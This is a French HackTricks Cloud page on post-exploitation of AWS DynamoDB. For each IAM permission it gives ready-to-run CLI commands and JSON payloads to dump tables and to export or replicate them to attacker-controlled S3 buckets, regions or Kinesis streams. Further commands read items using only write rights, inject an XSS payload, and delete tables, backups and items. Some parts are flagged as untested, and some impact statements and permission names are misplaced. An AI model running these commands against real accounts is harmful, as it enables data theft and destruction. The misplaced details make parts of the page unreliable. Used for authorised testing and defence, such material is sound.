AWS - DynamoDB Post Exploitation
Reading time: 19 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
DynamoDB
Pour plus d'informations, voir :
dynamodb:BatchGetItem
Un attaquant disposant de ces permissions pourra obtenir des éléments des tables par la clé primaire (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez les obtenir en récupérant les métadonnées de la table (describe-table)).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table
dynamodb:GetItem
Similaire aux autorisations précédentes celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table à partir de la clé primaire de l'entrée à récupérer :
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Avec cette autorisation, il est également possible d'utiliser la méthode transact-get-items comme :
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table
dynamodb:Query
Similaire aux autorisations précédentes celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table à condition de connaître la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un sous-ensemble de comparaisons, mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir l'ensemble du DB dans une requête.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Impact potentiel : privesc indirect en localisant des informations sensibles dans la table
dynamodb:Scan
Vous pouvez utiliser cette permission pour dump facilement toute la table.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table
dynamodb:PartiQLSelect
Vous pouvez utiliser cette permission pour dump facilement l'intégralité de la table.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Cette autorisation permet également d'exécuter batch-execute-statement comme :
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile.
Impact potentiel : privesc indirect en localisant des informations sensibles dans la table
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Cette permission permettra à un attaquant de exporter l'intégralité de la table vers un S3 bucket de son choix:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Remarque : pour que cela fonctionne, la table doit avoir point-in-time-recovery activé. Vous pouvez vérifier si la table l'a avec :
aws dynamodb describe-continuous-backups \
--table-name <tablename>
S'il n'est pas activé, vous devrez l'activer et pour cela vous avez besoin de l'autorisation dynamodb:ExportTableToPointInTime:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Avec ces permissions, un attaquant pourrait créer une nouvelle table à partir d'une sauvegarde (ou même créer une sauvegarde pour ensuite la restaurer dans une table différente). Ensuite, avec les permissions nécessaires, il pourrait consulter des informations depuis les sauvegardes qui ne pourraient plus se trouver dans la table de production.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Impact potentiel : Indirect privesc en localisant des informations sensibles dans la sauvegarde de la table
dynamodb:PutItem
Cette permission permet aux utilisateurs d'ajouter un nouvel élément à la table ou de remplacer un élément existant par un nouvel élément. Si un élément ayant la même clé primaire existe déjà, l'ensemble de l'élément sera remplacé par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera créé.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Impact potentiel : Exploitation de vulnérabilités/bypasses supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB
dynamodb:UpdateItem
Cette permission permet aux utilisateurs de modifier les attributs existants d'un item ou d'ajouter de nouveaux attributs à un item. Elle ne remplace pas l'ensemble de l'item ; elle met à jour uniquement les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération créera un nouvel item avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Impact potentiel : Exploitation de vulnérabilités/bypasses supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB
dynamodb:DeleteTable
Un attaquant disposant de cette autorisation peut supprimer une table DynamoDB, entraînant une perte de données.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Impact potentiel : Perte de données et interruption des services dépendant de la table supprimée.
dynamodb:DeleteBackup
Un attaquant disposant de cette permission peut supprimer une sauvegarde DynamoDB, entraînant potentiellement une perte de données en cas de scénario de reprise après sinistre.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Impact potentiel: Perte de données et impossibilité de restaurer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
note
TODO : Tester si cela fonctionne réellement
Un attaquant disposant de ces permissions peut activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à streamer les changements, puis accéder au stream pour surveiller les changements de la table en temps réel. Cela permet à l'attaquant de surveiller et d'exfiltrate les changements de données, pouvant mener à data leakage.
- Activer un stream sur une table DynamoDB :
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Décrire le flux pour obtenir l'ARN et d'autres détails :
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Obtenez le shard iterator en utilisant le stream ARN :
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Utilisez le shard iterator pour accéder et exfiltrate des données du stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Impact potentiel : Surveillance en temps réel et data leakage des changements de la table DynamoDB.
Lire des éléments via dynamodb:UpdateItem and ReturnValues=ALL_OLD
Un attaquant disposant uniquement de dynamodb:UpdateItem sur une table peut lire des éléments sans aucune des permissions de lecture habituelles (GetItem/Query/Scan) en effectuant une mise à jour bénigne et en demandant --return-values ALL_OLD. DynamoDB renverra l'image complète de l'élément avant la mise à jour dans le champ Attributes de la réponse (cela ne consomme pas de RCUs).
- Permissions minimales :
dynamodb:UpdateItemsur la table/clé cible. - Prérequis : Vous devez connaître la clé primaire de l'élément.
Exemple (ajoute un attribut inoffensif et exfiltre l'élément précédent dans la réponse) :
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
La réponse CLI inclura un bloc Attributes contenant l'élément précédent complet (tous les attributs), fournissant effectivement une primitive de lecture à partir d'un accès en écriture seule.
Impact potentiel : Lire des éléments arbitraires d'une table avec uniquement des permissions d'écriture, permettant l'exfiltration de données sensibles lorsque les clés primaires sont connues.
dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica
Exfiltration discrète en ajoutant une nouvelle réplique régionale à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter une réplique régionale, la table entière est répliquée vers la région choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments.
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
Permissions : dynamodb:UpdateTable (with replica-updates) or dynamodb:CreateTableReplica on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
Potential Impact : Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.
dynamodb:TransactWriteItems (read via failed condition + ReturnValuesOnConditionCheckFailure=ALL_OLD)
Un attacker disposant de transactional write privileges peut exfiltrate les attributs complets d'un item existant en effectuant un Update dans TransactWriteItems qui échoue intentionnellement une ConditionExpression tout en définissant ReturnValuesOnConditionCheckFailure=ALL_OLD. En cas d'échec, DynamoDB inclut les attributs antérieurs dans les transaction cancellation reasons, transformant ainsi un accès write-only en accès read des keys ciblées.
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
Autorisations : dynamodb:TransactWriteItems sur la table cible (et l'item sous-jacent). Aucune autorisation de lecture n'est requise.
Impact potentiel : lire des items arbitraires (par clé primaire) d'une table en n'ayant que les privilèges d'écriture transactionnelle, via les raisons d'annulation renvoyées.
dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI
Contournez les restrictions de lecture en créant un Global Secondary Index (GSI) avec ProjectionType=ALL sur un attribut à faible entropie, en définissant cet attribut sur une valeur constante pour tous les items, puis en utilisant Query sur l'index pour récupérer les items complets. Cela fonctionne même si Query/Scan sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index.
- Autorisations minimales :
dynamodb:UpdateTablesur la table cible (pour créer le GSI avecProjectionType=ALL).dynamodb:UpdateItemsur les clés de la table cible (pour définir l'attribut indexé sur chaque item).dynamodb:Querysur l'ARN de la ressource d'index (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).
Étapes (PoC in us-east-1):
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
Impact potentiel : Exfiltration complète de la table en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table principale sont refusées.
dynamodb:EnableKinesisStreamingDestination (Exfiltration en continu via Kinesis Data Streams)
Abuser des destinations de streaming Kinesis de DynamoDB pour exfiltrer en continu les modifications d'une table vers un Kinesis Data Stream contrôlé par l'attaquant. Une fois activé, chaque événement INSERT/MODIFY/REMOVE est transmis en quasi-temps réel au stream sans nécessiter de permissions de lecture sur la table.
Permissions minimales (attaquant) :
dynamodb:EnableKinesisStreamingDestinationsur la table cible- Optionnellement
dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTablepour surveiller le statut - Permissions de lecture sur le stream Kinesis contrôlé par l'attaquant pour consommer les enregistrements :
kinesis:*
PoC (us-east-1)
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
dynamodb:UpdateTimeToLive
Un attaquant disposant de la permission dynamodb:UpdateTimeToLive peut modifier la configuration TTL (time-to-live) d'une table — activer ou désactiver le TTL. Lorsque le TTL est activé, les éléments individuels contenant l'attribut TTL configuré seront automatiquement supprimés dès que leur date d'expiration est atteinte. La valeur TTL n'est qu'un autre attribut de chaque élément ; les éléments sans cet attribut ne sont pas affectés par la suppression basée sur le TTL.
Si les éléments ne contiennent pas déjà l'attribut TTL, l'attaquant aurait également besoin d'une permission de mise à jour des éléments (par exemple dynamodb:UpdateItem) pour ajouter l'attribut TTL et provoquer des suppressions massives.
Commencez par activer le TTL sur la table, en spécifiant le nom de l'attribut à utiliser pour l'expiration :
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
Ensuite, mettez à jour les éléments pour ajouter l'attribut TTL (secondes depuis l'époque Unix) afin qu'ils expirent et soient supprimés :
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime
Un attaquant disposant des permissions dynamodb:RestoreTableFromAwsBackup ou dynamodb:RestoreTableToPointInTime peut créer de nouvelles tables restaurées à partir de sauvegardes ou de la récupération point-in-time (PITR) sans écraser la table d'origine. La table restaurée contient une image complète des données au point sélectionné, donc l'attaquant peut l'utiliser pour exfiltrate des informations historiques ou obtenir un dump complet de l'état passé de la base de données.
Restaurer une table DynamoDB à partir d'une sauvegarde à la demande:
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
Restaurer une table DynamoDB à un point dans le temps (créer une nouvelle table avec l'état restauré) :
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time
Impact potentiel : Exfiltration continue et quasi en temps réel des modifications de la table vers un Kinesis stream contrôlé par un attaquant sans opérations de lecture directes sur la table.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud